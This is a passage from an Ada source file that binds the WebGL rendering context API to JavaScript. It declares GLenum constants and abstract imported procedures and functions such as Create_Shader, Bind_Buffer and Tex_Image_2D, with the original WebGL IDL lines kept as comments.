-- const GLenum DONT_CARE = 0x1100;
-- const GLenum FASTEST = 0x1101;
-- const GLenum NICEST = 0x1102;
--
-- /* HintTarget */
-- const GLenum GENERATE_MIPMAP_HINT = 0x8192;
--------------
-- DataType --
--------------
-- const GLenum INT = 0x1404;
-- const GLenum UNSIGNED_INT = 0x1405;
BYTE : constant := 16#1400#;
UNSIGNED_BYTE : constant := 16#1401#;
SHORT : constant := 16#1402#;
UNSIGNED_SHORT : constant := 16#1403#;
FLOAT : constant := 16#1406#;
-----------------
-- PixelFormat --
-----------------
ALPHA : constant := 16#1906#;
RGB : constant := 16#1907#;
RGBA : constant := 16#1908#;
LUMINANCE : constant := 16#1909#;
LUMINANCE_ALPHA : constant := 16#190A#;
-- const GLenum DEPTH_COMPONENT = 0x1902;
---------------
-- PixelType --
---------------
-- /* UNSIGNED_BYTE */
UNSIGNED_SHORT_4_4_4_4 : constant := 16#8033#;
UNSIGNED_SHORT_5_5_5_1 : constant := 16#8034#;
UNSIGNED_SHORT_5_6_5 : constant := 16#8363#;
-------------
-- Shaders --
-------------
FRAGMENT_SHADER : constant := 16#8B30#;
VERTEX_SHADER : constant := 16#8B31#;
-- const GLenum MAX_VERTEX_ATTRIBS = 0x8869;
-- const GLenum MAX_VERTEX_UNIFORM_VECTORS = 0x8DFB;
-- const GLenum MAX_VARYING_VECTORS = 0x8DFC;
-- const GLenum MAX_COMBINED_TEXTURE_IMAGE_UNITS = 0x8B4D;
-- const GLenum MAX_VERTEX_TEXTURE_IMAGE_UNITS = 0x8B4C;
-- const GLenum MAX_TEXTURE_IMAGE_UNITS = 0x8872;
-- const GLenum MAX_FRAGMENT_UNIFORM_VECTORS = 0x8DFD;
SHADER_TYPE : constant := 16#8B4F#;
DELETE_STATUS : constant := 16#8B80#;
LINK_STATUS : constant := 16#8B82#;
VALIDATE_STATUS : constant := 16#8B83#;
ATTACHED_SHADERS : constant := 16#8B85#;
ACTIVE_UNIFORMS : constant := 16#8B86#;
ACTIVE_ATTRIBUTES : constant := 16#8B89#;
-- const GLenum SHADING_LANGUAGE_VERSION = 0x8B8C;
-- const GLenum CURRENT_PROGRAM = 0x8B8D;
-------------------------------------
-- StencilFunction / DepthFunction --
-------------------------------------
NEVER : constant := 16#0200#;
LESS : constant := 16#0201#;
EQUAL : constant := 16#0202#;
LEQUAL : constant := 16#0203#;
GREATER : constant := 16#0204#;
NOTEQUAL : constant := 16#0205#;
GEQUAL : constant := 16#0206#;
ALWAYS : constant := 16#0207#;
-- /* StencilOp */
-- /* ZERO */
-- const GLenum KEEP = 0x1E00;
-- const GLenum REPLACE = 0x1E01;
-- const GLenum INCR = 0x1E02;
-- const GLenum DECR = 0x1E03;
-- const GLenum INVERT = 0x150A;
-- const GLenum INCR_WRAP = 0x8507;
-- const GLenum DECR_WRAP = 0x8508;
--
-- /* StringName */
-- const GLenum VENDOR = 0x1F00;
-- const GLenum RENDERER = 0x1F01;
-- const GLenum VERSION = 0x1F02;
----------------------
-- TextureMagFilter --
----------------------
NEAREST : constant := 16#2600#;
LINEAR : constant := 16#2601#;
----------------------
-- TextureMinFilter --
----------------------
-- NEAREST
-- LINEAR
NEAREST_MIPMAP_NEAREST : constant := 16#2700#;
LINEAR_MIPMAP_NEAREST : constant := 16#2701#;
NEAREST_MIPMAP_LINEAR : constant := 16#2702#;
LINEAR_MIPMAP_LINEAR : constant := 16#2703#;
--------------------------
-- TextureParameterName --
--------------------------
TEXTURE_MAG_FILTER : constant := 16#2800#;
TEXTURE_MIN_FILTER : constant := 16#2801#;
TEXTURE_WRAP_S : constant := 16#2802#;
TEXTURE_WRAP_T : constant := 16#2803#;
-------------------
-- TextureTarget --
-------------------
TEXTURE_2D : constant := 16#0DE1#;
-- const GLenum TEXTURE = 0x1702;
TEXTURE_CUBE_MAP : constant := 16#8513#;
-- const GLenum TEXTURE_BINDING_CUBE_MAP = 0x8514;
TEXTURE_CUBE_MAP_POSITIVE_X : constant := 16#8515#;
TEXTURE_CUBE_MAP_NEGATIVE_X : constant := 16#8516#;
TEXTURE_CUBE_MAP_POSITIVE_Y : constant := 16#8517#;
TEXTURE_CUBE_MAP_NEGATIVE_Y : constant := 16#8518#;
TEXTURE_CUBE_MAP_POSITIVE_Z : constant := 16#8519#;
TEXTURE_CUBE_MAP_NEGATIVE_Z : constant := 16#851A#;
-- const GLenum MAX_CUBE_MAP_TEXTURE_SIZE = 0x851C;
-----------------
-- TextureUnit --
-----------------
TEXTURE0 : constant := 16#84C0#;
TEXTURE1 : constant := 16#84C1#;
TEXTURE2 : constant := 16#84C2#;
TEXTURE3 : constant := 16#84C3#;
TEXTURE4 : constant := 16#84C4#;
TEXTURE5 : constant := 16#84C5#;
TEXTURE6 : constant := 16#84C6#;
TEXTURE7 : constant := 16#84C7#;
TEXTURE8 : constant := 16#84C8#;
TEXTURE9 : constant := 16#84C9#;
TEXTURE10 : constant := 16#84CA#;
TEXTURE11 : constant := 16#84CB#;
TEXTURE12 : constant := 16#84CC#;
TEXTURE13 : constant := 16#84CD#;
TEXTURE14 : constant := 16#84CE#;
TEXTURE15 : constant := 16#84CF#;
TEXTURE16 : constant := 16#84D0#;
TEXTURE17 : constant := 16#84D1#;
TEXTURE18 : constant := 16#84D2#;
TEXTURE19 : constant := 16#84D3#;
TEXTURE20 : constant := 16#84D4#;
TEXTURE21 : constant := 16#84D5#;
TEXTURE22 : constant := 16#84D6#;
TEXTURE23 : constant := 16#84D7#;
TEXTURE24 : constant := 16#84D8#;
TEXTURE25 : constant := 16#84D9#;
TEXTURE26 : constant := 16#84DA#;
TEXTURE27 : constant := 16#84DB#;
TEXTURE28 : constant := 16#84DC#;
TEXTURE29 : constant := 16#84DD#;
TEXTURE30 : constant := 16#84DE#;
TEXTURE31 : constant := 16#84DF#;
-- const GLenum ACTIVE_TEXTURE = 0x84E0;
---------------------
-- TextureWrapMode --
---------------------
REPEAT : constant := 16#2901#;
CLAMP_TO_EDGE : constant := 16#812F#;
MIRRORED_REPEAT : constant := 16#8370#;
-- /* Uniform Types */
-- const GLenum FLOAT_VEC2 = 0x8B50;
-- const GLenum FLOAT_VEC3 = 0x8B51;
-- const GLenum FLOAT_VEC4 = 0x8B52;
-- const GLenum INT_VEC2 = 0x8B53;
-- const GLenum INT_VEC3 = 0x8B54;
-- const GLenum INT_VEC4 = 0x8B55;
-- const GLenum BOOL = 0x8B56;
-- const GLenum BOOL_VEC2 = 0x8B57;
-- const GLenum BOOL_VEC3 = 0x8B58;
-- const GLenum BOOL_VEC4 = 0x8B59;
-- const GLenum FLOAT_MAT2 = 0x8B5A;
-- const GLenum FLOAT_MAT3 = 0x8B5B;
-- const GLenum FLOAT_MAT4 = 0x8B5C;
-- const GLenum SAMPLER_2D = 0x8B5E;
-- const GLenum SAMPLER_CUBE = 0x8B60;
--
-- /* Vertex Arrays */
-- const GLenum VERTEX_ATTRIB_ARRAY_ENABLED = 0x8622;
-- const GLenum VERTEX_ATTRIB_ARRAY_SIZE = 0x8623;
-- const GLenum VERTEX_ATTRIB_ARRAY_STRIDE = 0x8624;
-- const GLenum VERTEX_ATTRIB_ARRAY_TYPE = 0x8625;
-- const GLenum VERTEX_ATTRIB_ARRAY_NORMALIZED = 0x886A;
-- const GLenum VERTEX_ATTRIB_ARRAY_POINTER = 0x8645;
-- const GLenum VERTEX_ATTRIB_ARRAY_BUFFER_BINDING = 0x889F;
--
-- /* Read Format */
-- const GLenum IMPLEMENTATION_COLOR_READ_TYPE = 0x8B9A;
-- const GLenum IMPLEMENTATION_COLOR_READ_FORMAT = 0x8B9B;
-------------------
-- Shader Source --
-------------------
COMPILE_STATUS : constant := 16#8B81#;
-- /* Shader Precision-Specified Types */
-- const GLenum LOW_FLOAT = 0x8DF0;
-- const GLenum MEDIUM_FLOAT = 0x8DF1;
-- const GLenum HIGH_FLOAT = 0x8DF2;
-- const GLenum LOW_INT = 0x8DF3;
-- const GLenum MEDIUM_INT = 0x8DF4;
-- const GLenum HIGH_INT = 0x8DF5;
------------------------
-- Framebuffer Object --
------------------------
FRAMEBUFFER : constant := 16#8D40#;
RENDERBUFFER : constant := 16#8D41#;
RGBA4 : constant := 16#8056#;
RGB5_A1 : constant := 16#8057#;
RGB565 : constant := 16#8D62#;
DEPTH_COMPONENT16 : constant := 16#81A5#;
STENCIL_INDEX8 : constant := 16#8D48#;
-- const GLenum STENCIL_INDEX = 0x1901;
-- const GLenum DEPTH_STENCIL = 0x84F9;
-- const GLenum RENDERBUFFER_WIDTH = 0x8D42;
-- const GLenum RENDERBUFFER_HEIGHT = 0x8D43;
-- const GLenum RENDERBUFFER_INTERNAL_FORMAT = 0x8D44;
-- const GLenum RENDERBUFFER_RED_SIZE = 0x8D50;
-- const GLenum RENDERBUFFER_GREEN_SIZE = 0x8D51;
-- const GLenum RENDERBUFFER_BLUE_SIZE = 0x8D52;
-- const GLenum RENDERBUFFER_ALPHA_SIZE = 0x8D53;
-- const GLenum RENDERBUFFER_DEPTH_SIZE = 0x8D54;
-- const GLenum RENDERBUFFER_STENCIL_SIZE = 0x8D55;
--
-- const GLenum FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE = 0x8CD0;
-- const GLenum FRAMEBUFFER_ATTACHMENT_OBJECT_NAME = 0x8CD1;
-- const GLenum FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL = 0x8CD2;
-- const GLenum FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE = 0x8CD3;
COLOR_ATTACHMENT0 : constant := 16#8CE0#;
DEPTH_ATTACHMENT : constant := 16#8D00#;
STENCIL_ATTACHMENT : constant := 16#8D20#;
-- const GLenum DEPTH_STENCIL_ATTACHMENT = 0x821A;
-- const GLenum NONE = 0;
--
-- const GLenum FRAMEBUFFER_COMPLETE = 0x8CD5;
-- const GLenum FRAMEBUFFER_INCOMPLETE_ATTACHMENT = 0x8CD6;
-- const GLenum FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT = 0x8CD7;
-- const GLenum FRAMEBUFFER_INCOMPLETE_DIMENSIONS = 0x8CD9;
-- const GLenum FRAMEBUFFER_UNSUPPORTED = 0x8CDD;
--
-- const GLenum FRAMEBUFFER_BINDING = 0x8CA6;
-- const GLenum RENDERBUFFER_BINDING = 0x8CA7;
-- const GLenum MAX_RENDERBUFFER_SIZE = 0x84E8;
--
-- const GLenum INVALID_FRAMEBUFFER_OPERATION = 0x0506;
--
-- /* WebGL-specific enums */
-- const GLenum UNPACK_FLIP_Y_WEBGL = 0x9240;
-- const GLenum UNPACK_PREMULTIPLY_ALPHA_WEBGL = 0x9241;
-- const GLenum CONTEXT_LOST_WEBGL = 0x9242;
-- const GLenum UNPACK_COLORSPACE_CONVERSION_WEBGL = 0x9243;
-- const GLenum BROWSER_DEFAULT_WEBGL = 0x9244;
not overriding function Get_Canvas
(Self : not null access WebGL_Rendering_Context)
return WebAPI.HTML.Canvas_Elements.HTML_Canvas_Element_Access
is abstract
with Import => True,
Convention => JavaScript_Property_Getter,
Link_Name => "canvas";
-- readonly attribute GLsizei drawingBufferWidth;
-- readonly attribute GLsizei drawingBufferHeight;
--
-- [WebGLHandlesContextLoss] WebGLContextAttributes? getContextAttributes();
-- [WebGLHandlesContextLoss] boolean isContextLost();
--
-- sequence<DOMString>? getSupportedExtensions();
-- object? getExtension(DOMString name);
not overriding procedure Active_Texture
(Self : not null access WebGL_Rendering_Context;
Texture : GLenum) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "activeTexture";
not overriding procedure Attach_Shader
(Self : not null access WebGL_Rendering_Context;
Program : access WebAPI.WebGL.Programs.WebGL_Program'Class;
Shader : access WebAPI.WebGL.Shaders.WebGL_Shader'Class) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "attachShader";
-- void bindAttribLocation(WebGLProgram? program, GLuint index, DOMString name);
not overriding procedure Bind_Buffer
(Self : not null access WebGL_Rendering_Context;
Target : GLenum;
Buffer : access WebAPI.WebGL.Buffers.WebGL_Buffer'Class) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "bindBuffer";
-- Pre'Class => Target in ARRAY_BUFFER | ELEMENT_ARRAY_BUFFER;
not overriding procedure Bind_Framebuffer
(Self : not null access WebGL_Rendering_Context;
Target : GLenum;
Framebuffer : access WebAPI.WebGL.Framebuffers.WebGL_Framebuffer'Class)
is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "bindFramebuffer";
-- Pre'Class => Target in FRAMEBUFFER;
not overriding procedure Bind_Renderbuffer
(Self : not null access WebGL_Rendering_Context;
Target : GLenum;
Renderbuffer : access WebAPI.WebGL.Renderbuffers.WebGL_Renderbuffer'Class)
is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "bindRenderbuffer";
-- Pre'Class => Target in RENDERBUFFER;
not overriding procedure Bind_Texture
(Self : not null access WebGL_Rendering_Context;
Target : GLenum;
Texture : access WebAPI.WebGL.Textures.WebGL_Texture'Class)
is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "bindTexture";
-- Pre'Class => Target in TEXTURE_2D | TEXTURE_CUBE_MAP;
-- void blendColor(GLclampf red, GLclampf green, GLclampf blue, GLclampf alpha);
-- void blendEquation(GLenum mode);
-- void blendEquationSeparate(GLenum modeRGB, GLenum modeAlpha);
not overriding procedure Blend_Func
(Self : not null access WebGL_Rendering_Context;
Source_Factor : GLenum;
Destination_Factor : GLenum)
is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "blendFunc";
-- void blendFuncSeparate(GLenum srcRGB, GLenum dstRGB,
-- GLenum srcAlpha, GLenum dstAlpha);
--
-- typedef (ArrayBuffer or ArrayBufferView) BufferDataSource;
-- void bufferData(GLenum target, GLsizeiptr size, GLenum usage);
-- void bufferData(GLenum target, BufferDataSource? data, GLenum usage);
not overriding procedure Buffer_Data
(Self : not null access WebGL_Rendering_Context;
Target : WebAPI.WebGL.GLenum;
Data : System.Address;
Usage : WebAPI.WebGL.GLenum) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "bufferData";
-- void bufferSubData(GLenum target, GLintptr offset, BufferDataSource? data);
--
-- [WebGLHandlesContextLoss] GLenum checkFramebufferStatus(GLenum target);
not overriding procedure Clear
(Self : not null access WebGL_Rendering_Context;
Mask : GLbitfield) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "clear";
not overriding procedure Clear_Color
(Self : not null access WebGL_Rendering_Context;
Red : GLclampf;
Green : GLclampf;
Blue : GLclampf;
Alpha : GLclampf) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "clearColor";
-- void clearDepth(GLclampf depth);
-- void clearStencil(GLint s);
-- void colorMask(GLboolean red, GLboolean green, GLboolean blue, GLboolean alpha);
not overriding procedure Compile_Shader
(Self : not null access WebGL_Rendering_Context;
Shader : access WebAPI.WebGL.Shaders.WebGL_Shader'Class) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "compileShader";
-- void compressedTexImage2D(GLenum target, GLint level, GLenum internalformat,
-- GLsizei width, GLsizei height, GLint border,
-- ArrayBufferView data);
-- void compressedTexSubImage2D(GLenum target, GLint level,
-- GLint xoffset, GLint yoffset,
-- GLsizei width, GLsizei height, GLenum format,
-- ArrayBufferView data);
--
-- void copyTexImage2D(GLenum target, GLint level, GLenum internalformat,
-- GLint x, GLint y, GLsizei width, GLsizei height,
-- GLint border);
-- void copyTexSubImage2D(GLenum target, GLint level, GLint xoffset, GLint yoffset,
-- GLint x, GLint y, GLsizei width, GLsizei height);
not overriding function Create_Buffer
(Self : not null access WebGL_Rendering_Context)
return WebAPI.WebGL.Buffers.WebGL_Buffer_Access is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "createBuffer";
not overriding function Create_Framebuffer
(Self : not null access WebGL_Rendering_Context)
return WebAPI.WebGL.Framebuffers.WebGL_Framebuffer_Access is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "createFramebuffer";
not overriding function Create_Program
(Self : not null access WebGL_Rendering_Context)
return WebAPI.WebGL.Programs.WebGL_Program_Access is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "createProgram";
not overriding function Create_Renderbuffer
(Self : not null access WebGL_Rendering_Context)
return WebAPI.WebGL.Renderbuffers.WebGL_Renderbuffer_Access is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "createRenderbuffer";
not overriding function Create_Shader
(Self : not null access WebGL_Rendering_Context;
The_Type : GLenum)
return WebAPI.WebGL.Shaders.WebGL_Shader_Access is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "createShader";
not overriding function Create_Texture
(Self : not null access WebGL_Rendering_Context)
return WebAPI.WebGL.Textures.WebGL_Texture_Access is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "createTexture";
-- void cullFace(GLenum mode);
not overriding procedure Delete_Buffer
(Self : not null access WebGL_Rendering_Context;
Buffer : access WebAPI.WebGL.Buffers.WebGL_Buffer'Class) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "deleteBuffer";
not overriding procedure Delete_Framebuffer
(Self : not null access WebGL_Rendering_Context;
Framebuffer : access WebAPI.WebGL.Framebuffers.WebGL_Framebuffer'Class)
is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "deleteFramebuffer";
not overriding procedure Delete_Program
(Self : not null access WebGL_Rendering_Context;
Program : access WebAPI.WebGL.Programs.WebGL_Program'Class) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "deleteProgram";
not overriding procedure Delete_Renderbuffer
(Self : not null access WebGL_Rendering_Context;
Renderbuffer : access WebAPI.WebGL.Renderbuffers.WebGL_Renderbuffer'Class)
is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "deleteRenderbuffer";
not overriding procedure Delete_Shader
(Self : not null access WebGL_Rendering_Context;
Shader : access WebAPI.WebGL.Shaders.WebGL_Shader'Class) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "deleteShader";
not overriding procedure Delete_Texture
(Self : not null access WebGL_Rendering_Context;
Texture : access WebAPI.WebGL.Textures.WebGL_Texture'Class)
is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "deleteTexture";
not overriding procedure Depth_Func
(Self : not null access WebGL_Rendering_Context;
Func : GLenum) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "depthFunc";
-- void depthMask(GLboolean flag);
-- void depthRange(GLclampf zNear, GLclampf zFar);
-- void detachShader(WebGLProgram? program, WebGLShader? shader);
not overriding procedure Disable
(Self : not null access WebGL_Rendering_Context;
Capability : GLenum) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "disable";
not overriding procedure Disable_Vertex_Attrib_Array
(Self : not null access WebGL_Rendering_Context;
Index : GLuint) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "disableVertexAttribArray";
not overriding procedure Draw_Arrays
(Self : not null access WebGL_Rendering_Context;
Mode : GLenum;
First : GLint;
Count : GLsizei) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "drawArrays";
-- void drawElements(GLenum mode, GLsizei count, GLenum type, GLintptr offset);
not overriding procedure Enable
(Self : not null access WebGL_Rendering_Context;
Capability : GLenum) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "enable";
not overriding procedure Enable_Vertex_Attrib_Array
(Self : not null access WebGL_Rendering_Context;
Index : GLuint) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "enableVertexAttribArray";
not overriding procedure Finish
(Self : not null access WebGL_Rendering_Context) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "finish";
not overriding procedure Flush
(Self : not null access WebGL_Rendering_Context) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "flush";
not overriding procedure Framebuffer_Renderbuffer
(Self : not null access WebGL_Rendering_Context;
Target : WebAPI.WebGL.GLenum;
Attachment : WebAPI.WebGL.GLenum;
Renderbuffer_Target : WebAPI.WebGL.GLenum;
Renderbuffer :
WebAPI.WebGL.Renderbuffers.WebGL_Renderbuffer_Access) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "framebufferRenderbuffer";
not overriding procedure Framebuffer_Texture_2D
(Self : not null access WebGL_Rendering_Context;
Target : WebAPI.WebGL.GLenum;
Attachment : WebAPI.WebGL.GLenum;
Texture_Target : WebAPI.WebGL.GLenum;
Texture : WebAPI.WebGL.Textures.WebGL_Texture_Access;
Level : WebAPI.WebGL.GLint) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "framebufferTexture2D";
-- void frontFace(GLenum mode);
--
-- void generateMipmap(GLenum target);
--
-- WebGLActiveInfo? getActiveAttrib(WebGLProgram? program, GLuint index);
-- WebGLActiveInfo? getActiveUniform(WebGLProgram? program, GLuint index);
-- sequence<WebGLShader>? getAttachedShaders(WebGLProgram? program);
not overriding function Get_Attrib_Location
(Self : not null access WebGL_Rendering_Context;
Program : access WebAPI.WebGL.Programs.WebGL_Program'Class;
Name : League.Strings.Universal_String) return GLint is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "getAttribLocation";
-- any getBufferParameter(GLenum target, GLenum pname);
-- any getParameter(GLenum pname);
--
-- [WebGLHandlesContextLoss] GLenum getError();
--
-- any getFramebufferAttachmentParameter(GLenum target, GLenum attachment,
-- GLenum pname);
not overriding function Get_Program_Parameter
(Self : not null access WebGL_Rendering_Context;
Program : access WebAPI.WebGL.Programs.WebGL_Program'Class;
Pname : GLenum) return GLint is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "getProgramParameter";
-- Pre'Class => Pname in ATTACHED_SHADERS | ACTIVE_ATTRIBUTES
-- | ACTIVE_UNIFORMS;
not overriding function Get_Program_Parameter
(Self : not null access WebGL_Rendering_Context;
Program : access WebAPI.WebGL.Programs.WebGL_Program'Class;
Pname : GLenum) return Boolean is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "getProgramParameter";
-- Pre'Class => Pname in DELETE_STATUS | LINK_STATUS
-- | VALIDATE_STATUS;
-- DOMString? getProgramInfoLog(WebGLProgram? program);
-- any getRenderbufferParameter(GLenum target, GLenum pname);
not overriding function Get_Shader_Parameter
(Self : not null access WebGL_Rendering_Context;
Shader : access WebAPI.WebGL.Shaders.WebGL_Shader'Class;
Pname : GLenum) return GLenum is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "getShaderParameter";
-- Pre'Class => Pname = SHADER_TYPE;
not overriding function Get_Shader_Parameter
(Self : not null access WebGL_Rendering_Context;
Shader : access WebAPI.WebGL.Shaders.WebGL_Shader'Class;
Pname : GLenum) return Boolean is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "getShaderParameter";
-- Pre'Class => Pname in DELETE_STATUS | COMPILE_STATUS;
-- WebGLShaderPrecisionFormat? getShaderPrecisionFormat(GLenum shadertype, GLenum precisiontype);
-- DOMString? getShaderInfoLog(WebGLShader? shader);
--
-- DOMString? getShaderSource(WebGLShader? shader);
--
-- any getTexParameter(GLenum target, GLenum pname);
--
-- any getUniform(WebGLProgram? program, WebGLUniformLocation? location);
not overriding function Get_Uniform_Location
(Self : not null access WebGL_Rendering_Context;
Program : access WebAPI.WebGL.Programs.WebGL_Program'Class;
Name : League.Strings.Universal_String)
return WebAPI.WebGL.Uniform_Locations.WebGL_Uniform_Location_Access
is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "getUniformLocation";
-- any getVertexAttrib(GLuint index, GLenum pname);
--
-- [WebGLHandlesContextLoss] GLintptr getVertexAttribOffset(GLuint index, GLenum pname);
--
-- void hint(GLenum target, GLenum mode);
-- [WebGLHandlesContextLoss] GLboolean isBuffer(WebGLBuffer? buffer);
-- [WebGLHandlesContextLoss] GLboolean isEnabled(GLenum cap);
-- [WebGLHandlesContextLoss] GLboolean isFramebuffer(WebGLFramebuffer? framebuffer);
-- [WebGLHandlesContextLoss] GLboolean isProgram(WebGLProgram? program);
-- [WebGLHandlesContextLoss] GLboolean isRenderbuffer(WebGLRenderbuffer? renderbuffer);
-- [WebGLHandlesContextLoss] GLboolean isShader(WebGLShader? shader);
-- [WebGLHandlesContextLoss] GLboolean isTexture(WebGLTexture? texture);
-- void lineWidth(GLfloat width);
not overriding procedure Link_Program
(Self : not null access WebGL_Rendering_Context;
Program : access WebAPI.WebGL.Programs.WebGL_Program'Class) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "linkProgram";
-- void pixelStorei(GLenum pname, GLint param);
-- void polygonOffset(GLfloat factor, GLfloat units);
not overriding procedure Read_Pixels
(Self : not null access WebGL_Rendering_Context;
X : WebAPI.WebGL.Glint;
Y : WebAPI.WebGL.Glint;
Width : WebAPI.WebGL.Glsizei;
Height : WebAPI.WebGL.Glsizei;
Format : WebAPI.WebGL.GLenum;
Data_Type : WebAPI.WebGL.GLenum;
Pixels : System.Address) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "readPixels";
not overriding procedure Renderbuffer_Storage
(Self : not null access WebGL_Rendering_Context;
Target : WebAPI.WebGL.GLenum;
Format : WebAPI.WebGL.GLenum;
Width : WebAPI.WebGL.Glsizei;
Height : WebAPI.WebGL.Glsizei) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "renderbufferStorage";
-- void sampleCoverage(GLclampf value, GLboolean invert);
-- void scissor(GLint x, GLint y, GLsizei width, GLsizei height);
not overriding procedure Shader_Source
(Self : not null access WebGL_Rendering_Context;
Shader : access WebAPI.WebGL.Shaders.WebGL_Shader'Class;
Source : League.Strings.Universal_String) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "shaderSource";
-- void stencilFunc(GLenum func, GLint ref, GLuint mask);
-- void stencilFuncSeparate(GLenum face, GLenum func, GLint ref, GLuint mask);
-- void stencilMask(GLuint mask);
-- void stencilMaskSeparate(GLenum face, GLuint mask);
-- void stencilOp(GLenum fail, GLenum zfail, GLenum zpass);
-- void stencilOpSeparate(GLenum face, GLenum fail, GLenum zfail, GLenum zpass);
--
-- typedef (ImageBitmap or
-- ImageData or
-- HTMLImageElement or
-- HTMLCanvasElement or
-- HTMLVideoElement) TexImageSource;
not overriding procedure Tex_Image_2D
(Self : not null access WebGL_Rendering_Context;
Target : WebAPI.WebGL.GLenum;
Level : WebAPI.WebGL.GLint;
Internal_Format : WebAPI.WebGL.GLint;
Width : WebAPI.WebGL.GLsizei;
Height : WebAPI.WebGL.GLsizei;
Border : WebAPI.WebGL.GLint;
Format : WebAPI.WebGL.GLenum;
Data_Type : WebAPI.WebGL.GLenum;
Pixels : System.Address) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "texImage2D";
-- void texImage2D(GLenum target, GLint level, GLint internalformat,
-- GLenum format, GLenum type, TexImageSource? source); // May throw DOMException
not overriding procedure Tex_Parameterf
(Self : not null access WebGL_Rendering_Context;
Target : WebAPI.WebGL.GLenum;
Pname : WebAPI.WebGL.GLenum;
Value : WebAPI.WebGL.GLfloat) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "texParameterf";
not overriding procedure Tex_Parameteri
(Self : not null access WebGL_Rendering_Context;
Target : WebAPI.WebGL.GLenum;
Pname : WebAPI.WebGL.GLenum;
Value : WebAPI.WebGL.GLint) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "texParameteri";
-- void texSubImage2D(GLenum target, GLint level, GLint xoffset, GLint yoffset,
-- GLsizei width, GLsizei height,
-- GLenum format, GLenum type, ArrayBufferView? pixels);
-- void texSubImage2D(GLenum target, GLint level, GLint xoffset, GLint yoffset,
-- GLenum format, GLenum type, TexImageSource? source); // May throw DOMException
not overriding procedure Uniform_1f
(Self : not null access WebGL_Rendering_Context;
Location : WebAPI.WebGL.Uniform_Locations.WebGL_Uniform_Location_Access;
X : GLfloat) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "uniform1f";
-- void uniform1fv(WebGLUniformLocation? location, Float32Array v);
-- void uniform1fv(WebGLUniformLocation? location, sequence<GLfloat> v);
not overriding procedure Uniform_1i
(Self : not null access WebGL_Rendering_Context;
Location : WebAPI.WebGL.Uniform_Locations.WebGL_Uniform_Location_Access;
X : GLint) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "uniform1i";
-- void uniform1iv(WebGLUniformLocation? location, Int32Array v);
-- void uniform1iv(WebGLUniformLocation? location, sequence<long> v);
not overriding procedure Uniform_2f
(Self : not null access WebGL_Rendering_Context;
Location : WebAPI.WebGL.Uniform_Locations.WebGL_Uniform_Location_Access;
X : GLfloat;
Y : GLfloat) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "uniform2f";
not overriding procedure Uniform_2fv
(Self : not null access WebGL_Rendering_Context;
Location : WebAPI.WebGL.Uniform_Locations.WebGL_Uniform_Location_Access;
Value : GLfloat_Vector_2) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "uniform2fv";
-- void uniform2fv(WebGLUniformLocation? location, sequence<GLfloat> v);
-- void uniform2i(WebGLUniformLocation? location, GLint x, GLint y);
-- void uniform2iv(WebGLUniformLocation? location, Int32Array v);
-- void uniform2iv(WebGLUniformLocation? location, sequence<long> v);
not overriding procedure Uniform_3f
(Self : not null access WebGL_Rendering_Context;
Location : WebAPI.WebGL.Uniform_Locations.WebGL_Uniform_Location_Access;
X : GLfloat;
Y : GLfloat;
Z : GLfloat) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "uniform3f";
not overriding procedure Uniform_3fv
(Self : not null access WebGL_Rendering_Context;
Location : WebAPI.WebGL.Uniform_Locations.WebGL_Uniform_Location_Access;
Value : GLfloat_Vector_3) is abstract
with Import => True,
Convention => JavaScript_Method,
Link_Name => "uniform3fv";
